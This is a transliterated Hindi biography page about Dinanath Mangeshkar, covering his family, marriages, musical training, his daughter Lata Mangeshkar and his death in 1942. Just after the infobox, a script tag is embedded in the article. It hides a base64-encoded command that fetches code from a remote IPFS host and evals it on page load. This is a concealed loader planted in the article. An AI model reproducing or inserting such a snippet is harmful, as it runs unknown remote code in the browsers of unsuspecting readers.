दीनानाथ मंगेशकर

dinanath mangeshakar
dinanath mangeshakar|200px|center
poora nam	mastar dinanath mangeshakar
any nam	dina
janm	29 disambar, 1900
janm bhoomi	mangeshi, gova
mrityu	24 aprॅl, 1942
mrityu sthan	pune, maharashtr
pati/patni	narmadaben, sevantiben
santan	lata mangeshakar, asha bhoansale, mina kh dikar, usha mangeshakar aur sangitakar hridayanath mangeshakar
karm bhoomi	bharat
karm-kshetr	hindi-marathi sinema, rangamanch, shastriy sangit
prasiddhi	abhineta, gayak, shastriy sangitajn tatha naty sangitakar
nagarikata	bharatiy
any janakari	dinanath mangeshakar 5 sal ki umr mean shri baba mashelakar se gayan aur sangit ki shiksha lene lage the tatha gvaliyar sangit vidyalay ke chhatr bhi rahe.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>dinanath mangeshakar (aangrezi: Deenanath Mangeshkar, janm- 29 disambar, 1900; mrityu- 24 aprॅl, 1942) marathi rangamanch ke prasiddh abhineta, gayak, shastriy sangitajn tatha naty sangitakar the. vah gayika lata mangeshakar, asha bhoansale, mina kh dikar, usha mangeshakar aur sangitakar hridayanath mangeshakar ke pita the. 'mastar dinanath mangeshakar puraskar' 24 aprail ko yani mastar dinanath ke smriti divas par ayojit kie jane ki paranpara rahi hai. korona mahamari ke samay is puraskar samaroh ko do saloan se sthagit kiya ja raha hai. bahut kam log janate haian ki apani surili avaj se b aaulivud ko kee suparahit gane dene valian lata mangeshakar ko gayika ki prerana unake pita dinanath mangeshakar se hi unhean mili thi.

parichay

[[chitr:Dinanath-Mangeshkar-Stamp.jpg|thumb|left|200px|dinanath mangeshakar par dak tikat]] dinanath mangeshakar ka janm 29 disambar, 1900 ko gova mean mangeshi gaanv mean hua tha. vah 'dina' ke nam se lokapriy the. unake pita ganesh bhatt navathe ek karhade brahman the tatha prasiddh mangeshi mandir, gova mean pujari the.

inake parivar ka mool upanam hardikar tha, chooanki inake parivar ko mangeshi mandir ke shivaliang ke lie abhishek ka paranparik saubhagy prapt hua tha; atah unhean 'abhisheki' upanam se bhi jana jane laga tha. halaanki, dinanath mangeshakar ne apane pita ke parivar ke donoan upanamoan ko nahian apanaya. isaka karan yah tha ki unaki maan yesubaee rane gova ke devadasi samuday se thian, jo ab gomaantak maratha samaj ke roop mean jana jata hai. chooanki ve parivar sahit gova ke mangeshi gaanv mean rahate the aur dinanath vahaan paida hue the, atah unhoanne apana upanam 'mangeshakar', jisaka arth tha 'mangesh dvara' apanaya.

vivah

lata mangeshakar ke pita dinanath mangeshakar ne gujarati bahanoan se shadi ki thi. dinanath mool roop se marathi the or unaki pahali shadi sal 1922 mean gujarat ke thalaner gaanv (tapi nadi kinare sthit) ki rahane vali narmadaben se huee thi. narmadaben ke pita haridas us samay gujarat ke prasiddh jamiandaroan mean se ek the aur unhean nagaraseth ke nam se jana jata tha. khas bat yah hai ki us vakt mean ek marathi aur ek gujarati parivar mean shadi hona bahut b di bat thi. thumb|250px|dinanath mangeshakar shadi ke char sal bad bimari ke chalate narmadaben ki maut ho gee thi. inaki koee santan nahian thi. isake bad dinanath mangeshakar ne 1927 mean narmadaben ki chhoti bahan sevantiben se shadi kar li. shadi ke bad sevantiben ka nam badalakar sudhamati ho gaya. dinanath aur sudhamati ki paanch santanoan mean char betiyaan- lata, mina, asha, oosha aur ek beta hridayanath haian. lata jab 13 sal ki thian, tab unake pita dinanath mangeshakar ka hridayaghat se nidhan ho gaya.

pratibha sampann

mastar dinanath mangeshakar bahuayami vyaktitv ke dhani aur prakhyat gayak the. apane ojasvi v madhur svar ke jane-mane prajna-purush the. asadharan pratibha vale, apani alag chhavi banane vale adh‍bhut natagayak the. shastriy sangit mean unaki gahari paith thi. prachalit rag roopoan ko ve poori shiddat ke sath apane alag aandaj mean pesh karate the. shastriy sangit ki majaboot buniyad ke karan hi ve rangamanch par ‘natyagit’ gayan mean jalave dikha sake tatha apani anokhi gayan shaili ko prasthapit kar sake. dinanathi gayan shaili ka prabhavashali sangit aj bhi apani dhak jamae hue hai tatha sarvadhik lokapriy hai.

mastar dinanath ek ‘naty nirmata’, kee natakoan ko sangit dene vale ‘sangitakar’, alaukik pratibha sanpann ‘sangitajn’, natakoan mean pramukh bhoomikaean karane vale gayak nat, vyasangi, moolagami, vishh‍leshak, vishishh‍t avadharana ke agrahi svatantracheta shalaka-purush the.

guru

dinanath mangeshakar 5 sal ki umr mean shri baba mashelakar se gayan aur sangit ki shiksha lene lage the tatha gvaliyar sangit vidyalay ke chhatr bhi rahe. ve jnanachary pandit ramkrishna bua vajhe ki vividhata poorn aur akramak gayan shaili se mohit hue aur unake shagird ban ge. apani javani mean unhoanne bikaner ki yatra ki aur kirana gharana ke pandit sukhadev prasad, pandit mani prasad ke pita se shastriy sangit mean aupacharik prashikshan liya.

lata ki pratibha se anajan

dinanath mangeshakar ko apani putri lata mangeshakar ki surile avaj ke bare mean pata hi nahian tha. lata shuroo se hi sangit mean kaphi dilachaspi leti thian, lekin nirantar prashikshan nahian leti thian. pita ko sangit ki praiktis karate dekh, shishyoan ko sikhate sun unhoanne kee rag sikh lie the. kahate haian ki pita jab ek shishy ko rag pooriya dhanashri sikha rahe the, us l dake se sur lag hi nahian rahe the. aangan mean khelati lataji ne turant apane pita ke svaroan ki nakal karate hue is kathin rag ko b di asani se ga diya. beti ki is pratibha ke bare mean achanak pata chalane par pandit dinanath mangeshakar hairan rah ge the. phir unhoanne lata ko sangit ki vidhivat shiksha deni shuroo kar di.

mrityu

41 sal ki alpayu mean hi bimari ke chalate mastar dinanath mangeshakar ka nidhan 24 aprॅl, 1942 ko pune mean ho gaya.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh